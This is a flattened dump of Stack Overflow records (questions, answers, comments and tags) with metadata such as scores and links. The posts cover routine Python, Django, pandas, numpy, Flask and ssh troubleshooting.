RawGreenlet.switch(self) ConnectionError: Error 9 while writing to socket. File descriptor was closed in another greenlet. File "redis/client.py", line 2165, in _execute return command(*args) File "redis/connection.py", line 563, in send_command self.send_packed_command(self.pack_command(*args)) File "redis/conn…
type: AnsweredQuestion
downvote count: 0
answer count: 1
score: 6
tagged with: django

http://stackoverflow.com/comment/86354064
score: 0
has text: today = fields.Datetime(default=fields.Datetime.now) field syntax
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49528092

http://stackoverflow.com/comment/88967247
type: QuestionComment
type: Comment
has text: Found the solution and answered it.
score: 0
comment on: http://stackoverflow.com/q/49569875

http://stackoverflow.com/q/49488410
tagged with: python
score: 0
has answer: http://stackoverflow.com/a/49499054
answer count: 2
tagged with: bash
tagged with: ssh
tagged with: shell
has body: Linux machine A &amp; machine B has common called ses. On machine A we have the python script to ssh to machine B &amp; run series of shell commands like cd to a dir, source few files &amp; run a python script called clean.py clean_command = "cd /ws/vprahlad-bgl/pats;source env.sh;source /auto/pysw/ats/env.sh;uname -a;python clean.py" The id ses has passwordless login enabled between machine A &amp; machine B. When ssh ses@machine B %s clean_command is giving error as badly placed ()'s By default, ses on machine B has csh &amp; the command inside clean.py works only with bash shell I tried changing the shell from csh to bash in remote command but prompts for password, however other commands works fine ses@A:~$ ssh ses@B 'uname -a;uptime;echo $SHELL; chsh -s /bin/bash' Linux B 3.10.0-693.11.6.el7.x86_64 #1 SMP Thu Dec 28 14:23:39 EST 2017 x86_64 x86_64 x86_64 GNU/Linux 15:01:54 up 5 days, 22:44, 1 user, load average: 0.10, 0.07, 0.05 /bin/csh This is your AD password: Is there way to ssh and change the shell to bash to source those files from csh
type: Question
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49494277
tagged with: csh
has title: How to ssh to remote ubuntu vm and change the shell from csh to bash

http://stackoverflow.com/a/49519973
answers question: http://stackoverflow.com/q/49519912
type: Answer
score: 2
has body: How about this relatively minimal change to your first function: def chunker(seq1, seq2, size): seq = list(zip(seq1, seq2)) return (seq[pos:pos + size] for pos in range(0, len(seq), size)) Call as follows: for group in chunker(pointNames, points, 25): print(group)
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/85972483
comment on: http://stackoverflow.com/q/49484847
type: QuestionComment
has text: Possible duplicate of [Docker Networking Disabled: WARNING: IPv4 forwarding is disabled. Networking will not work](https://stackoverflow.com/questions/41453263/docker-networking-disabled-warning-ipv4-forwarding-is-disabled-networking-wil)
score: 2
type: Comment

http://stackoverflow.com/comment/97813553
score: 7
type: Comment
comment on: http://stackoverflow.com/a/53682745
type: AnswerComment
has text: using both encoding='utf-8' and errors='ignore' would make more sense

http://stackoverflow.com/a/49581266
has comment: http://stackoverflow.com/comment/86170898
answers question: http://stackoverflow.com/q/49581213
type: Answer
has comment: http://stackoverflow.com/comment/86171225
downvote count: 0
has comment: http://stackoverflow.com/comment/86172529
has body: A 0d array can be modified, but an array scalar cannot: In [199]: x = np.array(1.0, 'float32') In [200]: x Out[200]: array(1., dtype=float32) In [201]: x.shape Out[201]: () In [202]: x[...] = 2 In [203]: x Out[203]: array(2., dtype=float32) In [204]: x[()] =3 In [205]: x Out[205]: array(3., dtype=float32) You have to mutate x, not assign a new object to the variable. That said, I don't see why one would want, or need, to do this. This 0d array is not quite the same as an array scalar: In [207]: y = np.float32(1) In [208]: y[...] = 2 .... TypeError: 'numpy.float32' object does not support item assignment Extracting an element from an array with indexing produces an array scalar: In [210]: type(x[()]) Out[210]: numpy.float32 The float32 object has many of the array attributes, even methods, but it isn't quite same: In [211]: x.shape Out[211]: () In [212]: y.shape Out[212]: () An array can be indexed with a tuple the same size as its shape. arr[1,2] is the same as arr[(1,2)]. The shape of x is (), so it can only be indexed with an empty tuple, x[()]. Similarly arr[:,:] works for a 2d array, but not for 1d. ... means, any number of slices, so works with x[...]. Enough of the __getitem__ has been defined for np.generic class objects to allow indexing like [...] and [()]. But the assignment has not been defined. It might be useful to look at the class hierarchy of classes like np.ndarray, np.int_, np.float32, np.float, and np.int. fuller quote From your link: https://docs.scipy.org/doc/numpy-1.13.0/user/basics.types.html#array-scalars NumPy generally returns elements of arrays as array scalars (a scalar with an associated dtype). Array scalars differ from Python scalars, but for the most part they can be used interchangeably (the primary exception is for versions of Python older than v2.x, where integer array scalars cannot act as indices for lists and tuples). There are some exceptions, such as when code requires very specific attributes of a scalar or when it checks spe…
score: 7
upvote count: 7
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49581213

http://stackoverflow.com/q/49553435
tagged with: python
has body: Let us consider the following case : query_cursor = some query execution here data = [] for row in query_cursor: data.append({'name': query_result[row]['name']}) Let's assumeI got some 10,000 rows after querying, which makes this loop run 10,000 times. Can anyone help me to optimize this code, such that it doesn't take that long?
has comment: http://stackoverflow.com/comment/86115482
score: 0
tagged with: list
answer count: 1
tagged with: orm
has comment: http://stackoverflow.com/comment/86114008
tagged with: loops
has title: Reduce for loop complexity on cursor
has answer: http://stackoverflow.com/a/49553577
type: Question
type: UnansweredQuestion

http://stackoverflow.com/comment/86192990
comment on: http://stackoverflow.com/a/49592575
type: Comment
has text: So in other words, "the computer exits that program" - not "the program exits the computer", right?
score: 0
type: AnswerComment

http://stackoverflow.com/comment/85883489
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49440167
has text: `np.array(trainX).astype(float)`
type: Comment

http://stackoverflow.com/a/69568496
has body: Use this instead .it worked for me. pip install opencv-contrib-python
answers question: http://stackoverflow.com/q/49469764
upvote count: 1
downvote count: 2
type: Answer
score: -1

http://stackoverflow.com/a/49596266
accepted answer of: http://stackoverflow.com/q/49594067
has comment: http://stackoverflow.com/comment/86213983
has body: I tried your sample code (I had to add the app initialisation to app.py so your code would run as-is). It worked as expected and both the note and patient tables were created. This tells me that your issue is environmental. I'm willing to bet that if you created a brand new test database in your Postgres instance and ran your example code it would work for you too. So let's focus on the state of the database you're connecting to. The ProgrammingError exception you're getting shows an error coming from Postgres itself. It's saying that it can't create the notes table because there's no such foreign key as patient.id. This is probably throwing you off because you know you are defining a patient.id key in models.py. Unfortunately I don't have enough information from what you've posted to give you a definitive answer, but my guess is this: The patient table in Postgres may have already been created from a previous run, but with a different schema (e.g. maybe it was first defined without an id column). the create_all() function will create tables that don't exist in the target database, but will not update existing tables with a modified schema. Go check your Postgres DB and take a look at the patient table. Does it actually have an id column that is properly defined as a primary key? If there's no data in these tables that you need, try dropping them and running your app again. My guess is that it will create both tables correctly and throw no errors.
type: Answer
answers question: http://stackoverflow.com/q/49594067
has comment: http://stackoverflow.com/comment/86209432
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/49440566
type: AnsweredQuestion
score: 0
possible better answer: http://stackoverflow.com/a/49447922
tagged with: python
has comment: http://stackoverflow.com/comment/85883303
accepted answer: http://stackoverflow.com/a/49440683
favorite count: 0
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/85883104
has answer: http://stackoverflow.com/a/49440683
answer count: 2
has comment: http://stackoverflow.com/comment/85883657
has comment: http://stackoverflow.com/comment/85883222
has body: I'm currently having a problem when I run a script that I wrote to tell if two texts files are identical: a="MyOut1.txt" b="out1.txt" f1=open(a,'r') f2=open(b,'r') l1=f1.readlines() l2=f2.readlines() f1.close() f2.close() print(l2==l1) When I run the code via terminal I get a False result (even though I expect the files to be the same) and when I run it through python shell it gives me True as you can see:
has title: Getting different results running script and by shell
upvote count: 1
has answer: http://stackoverflow.com/a/49447922
tagged with: ubuntu
downvote count: 1
type: Question

http://stackoverflow.com/q/49516422
has answer: http://stackoverflow.com/a/49541846
score: 2
upvote count: 2
answer count: 1
has comment: http://stackoverflow.com/comment/86043407
downvote count: 0
has title: What's the purpose of the file "pylab.py"
favorite count: 0
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86038089
has body: I looked at the file "pylab.py" at matplotlab's directory and found that it contains a great bunch of imports, and then defines a single variable "bytes" at the last line. Here is the last several lines of this file: from numpy.fft import * from numpy.raenter code herendom import * from numpy.linalg import * import numpy as np import numpy.ma as ma # don't let numpy's datetime hide stdlib import datetime # This is needed, or bytes will be numpy.random.bytes from # "from numpy.random import *" above bytes = six.moves.builtins.bytes I wonder what's the purpose of such a file when it only defines a seemingly useless variable. As a result, what's the purpose of writing code like from matplotlib import pylab?
tagged with: python

http://stackoverflow.com/q/49475312
score: 0
answer count: 2
has title: How to combine a custom date and time field in Django?
tagged with: orm
type: Question
has comment: http://stackoverflow.com/comment/85953622
has answer: http://stackoverflow.com/a/49476922
has comment: http://stackoverflow.com/comment/85955195
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49478363
tagged with: django
tagged with: python
has body: I'm looking for a way to combine a custom date value and a time field in django. My model only contains a time field. Now I have to annotate a new field combining a custom date and the time field. I thought the following code will solve my problem, but it only gives the date value. TimeField is ignored. class MyModel(models.Model): my_time_field = TimeField() custom_date = datetime.today().date() objects = MyModel.objects.annotate( custom_datetime=Func( custom_date + F('my_time_field'), function='DATE' ) ) Please advise the right way to solve this issue.
has comment: http://stackoverflow.com/comment/85953425
has comment: http://stackoverflow.com/comment/85953171

http://stackoverflow.com/comment/85967597
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49481970
has text: The starting point would be a random value of triplet[1] that has no matching parent. From this starting point: arr = (('ugly','green', 'yellow'), ('wolf','red', 'orange'), ('dog','blue', 'green'), ('mitten','yellow', 'red'), ('elf','black', 'blue')) ('sheep, 'silver', 'yellow') I would like to create all possible lists that begin with the loners 'silver' or 'black.'
type: Comment

http://stackoverflow.com/comment/86039611
comment on: http://stackoverflow.com/q/49516573
has text: @Aran-Fey did remove pandas
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/a/49562930
type: Answer
answers question: http://stackoverflow.com/q/49562783
score: 2
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/86134032
has body: If all you are trying to achieve is to modify the behavior of json.loads so that strings representing (non-negative) integers are thrown away, you could make a custom JSONDecoder and roll with that. class Decoder(json.JSONDecoder): def decode(self, s): if s.isdigit(): raise ValueError('all characters in string were digits') return super().decode(s) With this, In [5]: json.loads('{"a": 123}', cls=Decoder) Out[5]: {'a': 123} In [6]: json.loads('123', cls=Decoder) ValueError: all characters in string were digits

django-forms
tags question: http://stackoverflow.com/q/49440853
tags question: http://stackoverflow.com/q/49458189
tags question: http://stackoverflow.com/q/49473206
tags question: http://stackoverflow.com/q/49579276
tags question: http://stackoverflow.com/q/49518455
tags question: http://stackoverflow.com/q/49589572
tags question: http://stackoverflow.com/q/49493796
tags question: http://stackoverflow.com/q/49472099
tags question: http://stackoverflow.com/q/49486495
tags question: http://stackoverflow.com/q/49579783
tag name: django-forms
tags question: http://stackoverflow.com/q/49514318
type: Tag
tags question: http://stackoverflow.com/q/49528985
tags question: http://stackoverflow.com/q/49489993
tags question: http://stackoverflow.com/q/49587586
tags question: http://stackoverflow.com/q/49559364
tags question: http://stackoverflow.com/q/49509171

http://stackoverflow.com/comment/85906341
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49451864
has text: Look at JSON as an alternative to what you are doing right now.

http://stackoverflow.com/q/49469363
has answer: http://stackoverflow.com/a/49469397
downvote count: 0
favorite count: 0
type: Question
tagged with: numpy
upvote count: 2
type: UnansweredQuestion
has body: I have a dataframe as per Alpha Bravo Charlie Final 10 20 30 30 15 25 35 25 I like to create a new column with the header such that it will be: Alpha Bravo Charlie Final NewColumn 10 20 30 30 Charlie 15 25 35 25 Bravo I tried this but it did not give the correct results: df['NewColumn'] = df.lookup(df.index, df.Final) Edit: I tried both answers and it works but because I have many other columns, is there a way I can limit the lookup function to just Alpha Bravo and Charlie columns? (It is returning me other columns)
tagged with: dataframe
tagged with: python
tagged with: lookup
has title: Dataframe Lookup rows to return Index
answer count: 2
tagged with: pandas
has answer: http://stackoverflow.com/a/49469455
score: 2

http://stackoverflow.com/q/49471831
answer count: 2
possible better answer: http://stackoverflow.com/a/64575817
upvote count: 2
tagged with: flask-wtforms
has body: I'm trying to integrate Flask as the backend for the UI I'm working with. Unfortunately the UI already has the CSS and JavaScript set up for the forms (to accommodate for the UI but also for older versions of IE and other cases). The first problem that I'm running into is that there is already a label for the fields. If I use the .labels attribute in the template: {{ form.username.label }} then it creates an extra label which I can't seem to add any attributes to for the CSS/JavaScript. However if I leave the .label attribute off then it creates an extra blank text field above the username input. The code in my forms.py file is: class LoginForm(FlaskForm): username = StringField('Username', validators=[DataRequired()]) Am I missing something on this? The second part is adding attributes to the form itself. I've found how to add the HTML class attribute using class_='classname', but the Flask-WTF and WTForms documentation don't seem to touch on any other attributes (such as autcomplete="off" or placholder="username") Is there some way to accomplish this with Flask-WTF or WTForms that I'm just missing? Am I limited to manual attributes and/or Jinja macros for this type of functionality? I can't imagine this is something that would be missing form WTForms and Flask-WTF but I also don't see it mentioned anywhere in the docs or on Google/StackOverflow. Thanks!
has title: Customizing Flask-WTF or WTForms
tagged with: wtforms
has answer: http://stackoverflow.com/a/64575817
downvote count: 0
tagged with: flask
favorite count: 0
score: 2
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/31969070
accepted answer: http://stackoverflow.com/a/49472019
tagged with: python
has answer: http://stackoverflow.com/a/49472019
type: Question

http://stackoverflow.com/q/49533985
has answer: http://stackoverflow.com/a/49534200
has answer: http://stackoverflow.com/a/58984632
score: 0
tagged with: python-3.7
tagged with: python-imaging-library
upvote count: 1
has body: I am using Python 3.7.0a2 and Django (2, 0, 2, 'final', 0) in Windows 10. while I was migrating my project I got the following error: ERRORS: accounts.UserProfile.image: (fields.E210) Cannot use ImageField because Pillow is not installed. HINT: Get Pillow at https://pypi.python.org/pypi/Pillow or run command "pip install Pillow". Then I ran the 'pip install Pillow' command and I got the following error: Traceback (most recent call last): File "C:\Users\VIKASV~1\AppData\Local\Temp\pip-build-hfzb5tde\pillow\setup.py", line 792, in &lt;module&gt; zip_safe=not (debug_build() or PLATFORM_MINGW), ) File "c:\users\vikas visking\appdata\local\programs\python\python37\lib\distutils\core.py", line 148, in setup dist.run_commands() File "c:\users\vikas visking\appdata\local\programs\python\python37\lib\distutils\dist.py", line 955, in run_commands self.run_command(cmd) File "c:\users\vikas visking\appdata\local\programs\python\python37\lib\distutils\dist.py", line 974, in run_command cmd_obj.run() File "c:\users\vikas visking\appdata\local\programs\python\python37\lib\site-packages\setuptools\command\install.py", line 61, in run return orig.install.run(self) File "c:\users\vikas visking\appdata\local\programs\python\python37\lib\distutils\command\install.py", line 545, in run self.run_command('build') File "c:\users\vikas visking\appdata\local\programs\python\python37\lib\distutils\cmd.py", line 313, in run_command self.distribution.run_command(command) File "c:\users\vikas visking\appdata\local\programs\python\python37\lib\distutils\dist.py", line 974, in run_command cmd_obj.run() File "c:\users\vikas visking\appdata\local\programs\python\python37\lib\distutils\command\build.py", line 135, in run self.run_command(cmd_name) File "c:\users\vikas visking\appdata\local\programs\python\python37\lib\distutils\cmd.py", line 313, in run_command self.distribution.run_command(command) File "c:\users\vikas visking\appdata\local\programs\python\python37\lib\distutils\dist.py", line 974, …
has answer: http://stackoverflow.com/a/59594935
downvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/54149808
answer count: 5
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49534155
tagged with: django
tagged with: python
has title: Can't Install Pillow on Python 3.7.0a on Windows

http://stackoverflow.com/comment/86013550
score: 0
has text: `counts = [x.count('e') for x in list1]`
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49504441

http://stackoverflow.com/a/49593647
has comment: http://stackoverflow.com/comment/86194949
has body: If you're okay with pandas, you can do: import pandas as pd filename = 'path/to/your.csv' df = pd.read_csv(filename, skiprows=30, usecols=[2, 4, 8]) skiprows can be an integer (the number of rows to skip, from the top), a list of rows to exclude, or a boolean callable that gets called on each row index. usecols can be a list of indices, a list of column names, or a boolean callable that gets called on each column name. Check out the documentation for pandas.read_csv
has comment: http://stackoverflow.com/comment/86194881
score: 1
type: Answer
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/49593615
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49593615

http://stackoverflow.com/q/49521811
has comment: http://stackoverflow.com/comment/86297897
score: 0
answer count: 1
linked to: http://stackoverflow.com/q/16323743
tagged with: multiprocess
has comment: http://stackoverflow.com/comment/86278494
has body: I tried joblib, however, I got stuck at setting the processor affinity as explained <a href="http://I'm%20running%20joblib%20and%20having%20the%20same%20problem%20as%20[here][1],%20it%20only%20uses%202%20cores%20out%20of%208.%20I%20tried%20setting%20the%20CPU%20affinity%20as%20described%20[here][2].%20I'm%20using%20psutil%20version%205.4.3.%20I%20still%20run%20into%20this%20error:%20%20%20%20%20%20AttributeError:%20'Process'%20object%20has%20no%20attribute%20'set_cpu_affinity'%20%20This%20is%20my%20script:%20%20%20%20%20%20from%20datetime%20import%20datetime%20%20%20%20%20from%20subprocess%20import%20call%20%20%20%20%20%20from%20joblib%20import%20Parallel,%20delayed%20%20%20%20%20import%20multiprocessing%20%20%20%20%20import%20psutil%20%20%20%20%20import%20os%20%20%20%20%20%20%20%20%20%20startTime%20=%20datetime.now()%20%20%20%20%20%20%20%20%20%20pdb_name_list%20=%20[]%20%20%20%20%20for%20filename%20in%20os.listdir('/home/labusr/Documents/python_scripts/Spyder/Refinement'):%20%20%20%20%20%20%20%20if%20filename.endswith(%22.pdb%22):%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20pdb_name_list.append(filename)%20%20%20%20%20%20%20%20%20%20num_cores%20=%20multiprocessing.cpu_count()%20%20%20%20%20p%20=%20psutil.Process(os.getpid())%20%20%20%20%20p.set_cpu_affinity(range(num_cores))%20%20%20%20%20print(p.get_cpu_affinity())%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inputs%20=%20range(2)%20%20%20%20%20%20%20%20%20%20%20def%20strcuture_refine(file_name,i):%20%20%20%20%20%20%20%20%20print('Refining%20strcuture%20%25s%20round%20%25s......%5Cn'%20%25(file_name,%20i))%20%20%20%20%20%20%20%20%20call(['/home/labusr/rosetta/main/source/bin/rosetta_scripts.linuxgccrelease',%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20'-in::file::s',%20'/home/labusr/Documents/python_scripts/Spyder/_Refinement/%25s'%20%25file_name,%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20'-parser::protocol',%20'/home/labusr/Documents/A_asymm_refine.xml',%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20'-par…
has answer: http://stackoverflow.com/a/49521954
type: Question
has title: Parallel processing in Python: options and alternative
has comment: http://stackoverflow.com/comment/86254601
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86529187
tagged with: python
linked to: http://stackoverflow.com/q/42401074
tagged with: parallel-processing
has comment: http://stackoverflow.com/comment/86541695

http://stackoverflow.com/q/49599350
answer count: 1
linked to: http://stackoverflow.com/q/46705746
downvote count: 1
favorite count: 0
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86205848
type: Question
has answer: http://stackoverflow.com/a/49599450
duplicate of: http://stackoverflow.com/q/46705746
linked to: http://stackoverflow.com/q/36250353
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86205805
has title: AttributeError: module 'random' has no attribute 'randint'
has body: Code: import turtle import random turtle.penup() for i in range(20): x=random.randint(-200,200) y=random.randint(-200,200) turtle.setposition(x,y) turtle.dot() turtle.done() Error: F:\Python&gt;random.py Traceback (most recent call last): File "F:\Python\random.py", line 2, in &lt;module&gt; import random File "F:\Python\random.py", line 5, in &lt;module&gt; x=random.randint(-200,200) AttributeError: module 'random' has no attribute 'randint'
duplicate of: http://stackoverflow.com/q/36250353
tagged with: random
score: 0
upvote count: 1

http://stackoverflow.com/q/49581325
has answer: http://stackoverflow.com/a/49626048
type: UnansweredQuestion
tagged with: stat
tagged with: python
has body: I need to set up an application directory for a "hairy" app. Depending on the case, the directory may be local to each server participating, or shared among several servers via NFS. So, I need to be able to detect, whether the given path is local or NFS-accessed and skip some of the tasks in the latter case. What's the best way to detect this in an Ansible role? I tried using the stat module, but device_type seems to be set to 0 in all cases, NFS or local (XFS). On Linux I could invoke stat -f /path -- this would output details, including the type (the utility uses the statfs syscall). But this is a Linux-only method, and I'd rather avoid such petty OS-dependencies (same goes for the mountpoint utility). I would write a custom library function, but there is no os.statfs in Python... What's left?
has title: How to discern, if a directory is NFS-mounted from Ansible?
linked to: http://stackoverflow.com/q/49609588
score: 3
answer count: 2
tagged with: ansible
upvote count: 3
has answer: http://stackoverflow.com/a/49664873
downvote count: 0
has comment: http://stackoverflow.com/comment/86190829
has comment: http://stackoverflow.com/comment/86238092
has comment: http://stackoverflow.com/comment/86180159
favorite count: 0
tagged with: fstat
type: Question

http://stackoverflow.com/comment/116910281
type: Comment
has text: @schrodingerscat11 using Anaconda on windows: `C:\Users\user_name\AppData\Local\Programs\Python\Python38\Lib\site-packages\PyInstaller\hooks` or on a Mac: `/Users/user_name/opt/anaconda3/pkgs/pyinstaller-3.6-py38ha441bb4_5/lib/python3.8/site-packages/PyInstaller/hooks` but you need to make sure the version are correct. Probably easiest to search your computer for the `pyinstaller` folder.
type: AnswerComment
comment on: http://stackoverflow.com/a/49560245
score: 3

http://stackoverflow.com/comment/86069856
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/49531003
has text: @FrankAK image that fo3 is a function that handle a request . so it may call other functio and some may be blocking , so i have a special decorator "save_context" and whe i use that decorator and yield , the webserver can continue doing his job and restore context when blocking call is finished where i put yield . so i dont want to put yield everywhere but i special decorator wich will replace all blocking call with a yield fo() when the caller call fo()

http://stackoverflow.com/q/49471275
has comment: http://stackoverflow.com/comment/85945246
downvote count: 1
has title: return statement is returning nothing but print does
has body: I have a code where the return statement seems to return nothing, but if I add a print statement directly above the return statement, the print statement works. Ex: return(test_list) #returns None but if I add the print statement print(test_list) return(test_list) #print, prints the desired result How is this possible? The function: def reachable_destinations(iata_src: str, allowed: int, routes)\ -&gt; List[Set[str]]: """The first parameters represents an IATA code. The second parameter is the maximum number of direct flights allowed. The last parameter represents route information. Return a list of the sets of IATA codes reachable from the first parameter in steps from 0 up to (and including) the maximum number of hops.""" #For example, with IATA code 'AA1', maximum number of flights as 2, and the following route information #{'AA1': {'AA2', 'AA4'}, 'AA2': {'AA3'}, 'AA3': {'AA4', 'AA1'}, 'AA4': {'AA1'}} #the result should be [{'AA1'}, {'AA2', 'AA4'}, {'AA3'}]. i = 0 reachable_list = [{iata_src}] #print(reachable_list) for i in range(allowed): #print(i) total_set = set() #print(total_set) for j in range(len(reachable_list[i])): #print(j) #print(routes[list(reachable_list[i])[j]]) total_set = total_set | routes[list(reachable_list[i])[j]] #print(total_set) dif = total_set - arbitrary_union(reachable_list) #print(dif) if dif == set(): print('dif is empty') return reachable_list else: reachable_list.append(dif) #print(reachable_list) print(reachable_list) return reachable_list
has comment: http://stackoverflow.com/comment/85945135
favorite count: 0
score: 0
has comment: http://stackoverflow.com/comment/85945161
has answer: http://stackoverflow.com/a/49472713
tagged with: python
has comment: http://stackoverflow.com/comment/85945592
has comment: http://stackoverflow.com/comment/85945525
type: Question
tagged with: return
has comment: http://stackoverflow.com/comment/85946735
has comment: http://stackoverflow.com/comment/85945141
type: UnansweredQuestion
answer count: 1
upvote count: 1

http://stackoverflow.com/comment/86129130
type: Comment
type: QuestionComment
has text: Arguably, such a value shouldn't be used at all, preferring instead something defined by [ISO 8601](https://en.wikipedia.org/wiki/ISO_8601).
comment on: http://stackoverflow.com/q/49559918
score: 0

hdf5
tags question: http://stackoverflow.com/q/49451215
tags question: http://stackoverflow.com/q/49441280
type: Tag
tags question: http://stackoverflow.com/q/49491418
tag name: hdf5

http://stackoverflow.com/a/49576555
has comment: http://stackoverflow.com/comment/86179652
downvote count: 0
has comment: http://stackoverflow.com/comment/86181083
has comment: http://stackoverflow.com/comment/86181216
score: 2
has comment: http://stackoverflow.com/comment/86183202
answers question: http://stackoverflow.com/q/49575909
has comment: http://stackoverflow.com/comment/86181097
has body: I think your logic is flawed. Certain operations are unreversable. There are two I see in your program that cannot be undone. ReLU ReLU is a function that turns a negative input into zero, and leaves a positive. Consider the following example. x = np.array([1, 2, -1, -2]) y = np.maximum(x, 0) # Numpy's version of relu This gives us [1, 2, 0, 0]. The problem is the negative, i.e., we know that 1 and 2 were 1 and 2, however, there's no way for us to tell what 0 was (or even should) be. If you were using a leaky ReLU, there would be a solution to this, however it's not very useful because of Matrix Multiplication. Matrix Multiplication The problem with matrix multiplication is that you need to sum the products of columns and rows. For example (not written in python, just matrices): [1, 2] [ 7, 8, 9] [3, 4] * [10, 11, 12] [5, 6] The way you would calculate this would be: [[1], [2]] [ [7], 8, 9] [ 3 , 4 ] * [[10], 11, 12] [ 5 , 6 ] -&gt; [1*7 + 2*10, ?, ?] [ ?, ?, ?] [ ?, ?, ?] or [27, ?, ?] [ ?, ?, ?] [ ?, ?, ?] We then iterate the columns to get the rest of the values. The problem with this is that we have no idea what was summed up to make 27, or what their products were, aka, you're trying to solve 27 = ab+cd. There are literally uncountably infinite ways to solve that. It only gets worse with larger matricies, e.g. you might have to find 27 = ab+cd+ef+gh+kl...+yz. There is no way to calculate that in a way a neural network would find useful. Conclusion A neural network is designed to process and abstract data. In other words, it takes something complicated (a grid of pixels) and makes it simpler (an integer). Doing this backwards doesn't make much sense. Tensorflow, nay, any machine learning library won't do this because it's impossible and not useful. If you want something that can approximate an input, then I'd advise using a GaNN, or Generative Adversarial Neural Network. The basic premise is that you have two neural networks, called the generator and the discrim…
type: Answer
upvote count: 2

http://stackoverflow.com/comment/86054445
comment on: http://stackoverflow.com/a/49524257
type: Comment
type: AnswerComment
score: 1
has text: @abutremutante Yes, there should be a method with `np.logical_or.reduce`, I'l type it up for you in a sec.

http://stackoverflow.com/comment/86189613
score: 0
type: Comment
has text: That's pretty neat as well! Thank you,
type: AnswerComment
comment on: http://stackoverflow.com/a/49589711

http://stackoverflow.com/comment/86181869
score: 0
type: Comment
has text: api_user is the name of relation in DB because you have app api with model User. This is certainly NOT a routing issue but DB issue
type: QuestionComment
comment on: http://stackoverflow.com/q/49579673

http://stackoverflow.com/comment/85981217
has text: I edited #!/efs/home/myuser/.local/bin/python3.6 in pip. It works, is this the right way to fix it?
score: 0
comment on: http://stackoverflow.com/q/49487468
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/85942772
score: 1
comment on: http://stackoverflow.com/a/49469996
has text: @DJK - I run timings again and better times and better std
type: Comment
type: AnswerComment

http://stackoverflow.com/a/49481892
type: AcceptedAnswer
downvote count: 0
has body: Turns out I needed to specify python image. I splitted the commands and got better error.
type: Answer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/49481678
score: 1
answers question: http://stackoverflow.com/q/49481678

http://stackoverflow.com/q/49488559
tagged with: python
upvote count: 4
has comment: http://stackoverflow.com/comment/85980187
has answer: http://stackoverflow.com/a/49488997
has comment: http://stackoverflow.com/comment/85980338
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85980158
has comment: http://stackoverflow.com/comment/85980124
possible better answer: http://stackoverflow.com/a/49489035
answer count: 3
tagged with: pandas
accepted answer: http://stackoverflow.com/a/49488957
has answer: http://stackoverflow.com/a/49489035
downvote count: 1
has comment: http://stackoverflow.com/comment/85980211
has title: Sorting on two columns in pandas in an unusual way
favorite count: 0
type: Question
has body: I have a data frame like this : col_1 | serial_number | remaining time B | 17 | 02:45 A | 02 | 02:00 C | 25 | 03:30 A | 03 | 03:00 B | 12 | 03:45 C | 07 | 01:30 C | 89 | 02:30 B | 45 | 01:45 A | 01 | 01:00 And I'd like to sort on remaining time (lowest at the top) BUT col_1 should be grouped. Here's what the above dataframe would would look like. col_1 | serial_number | remaining time A | 01 | 01:00 A | 02 | 02:00 A | 03 | 03:00 C | 07 | 01:30 C | 89 | 02:30 C | 25 | 03:30 B | 45 | 01:45 B | 17 | 02:45 B | 12 | 03:45 I'm not able to do it at the moment. First I need to sort by remaining time, then group col_1 together.
score: 3
has comment: http://stackoverflow.com/comment/85980406
has answer: http://stackoverflow.com/a/49488957

http://stackoverflow.com/comment/86131014
has text: A few things to consider: Are you using channels 2? Does your windows server run python 3? Do you absolutely have to use a Windows server?
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49561349

http://stackoverflow.com/comment/86028732
comment on: http://stackoverflow.com/q/49511471
score: 0
type: Comment
type: QuestionComment
has text: What about `x_vals[np.argmin(y_vals)]` then?

http://stackoverflow.com/comment/86088770
score: 0
type: AnswerComment
has text: Thanks for the quick response! That works really well, and is really fast!
comment on: http://stackoverflow.com/a/49539544
type: Comment

git-pull
tag name: git-pull
tags question: http://stackoverflow.com/q/49445206
type: Tag

http://stackoverflow.com/comment/93573218
has text: Had the same problem on windows and the same fix - this is a known issue with how parallel processing is implemented on windows. See the discussion here https://github.com/scikit-learn/scikit-learn/issues/5115
score: 0
comment on: http://stackoverflow.com/a/49545901
type: Comment
type: AnswerComment

http://stackoverflow.com/q/49517474
upvote count: 2
type: AnsweredQuestion
duplicate of: http://stackoverflow.com/q/39901550
score: 2
linked to: http://stackoverflow.com/q/3512471
downvote count: 0
answer count: 1
favorite count: 0
tagged with: python-3.x
has title: DataFrame UserWarning with OR operator
tagged with: apache-spark-sql
type: Question
has comment: http://stackoverflow.com/comment/106947778
has answer: http://stackoverflow.com/a/49517510
tagged with: python
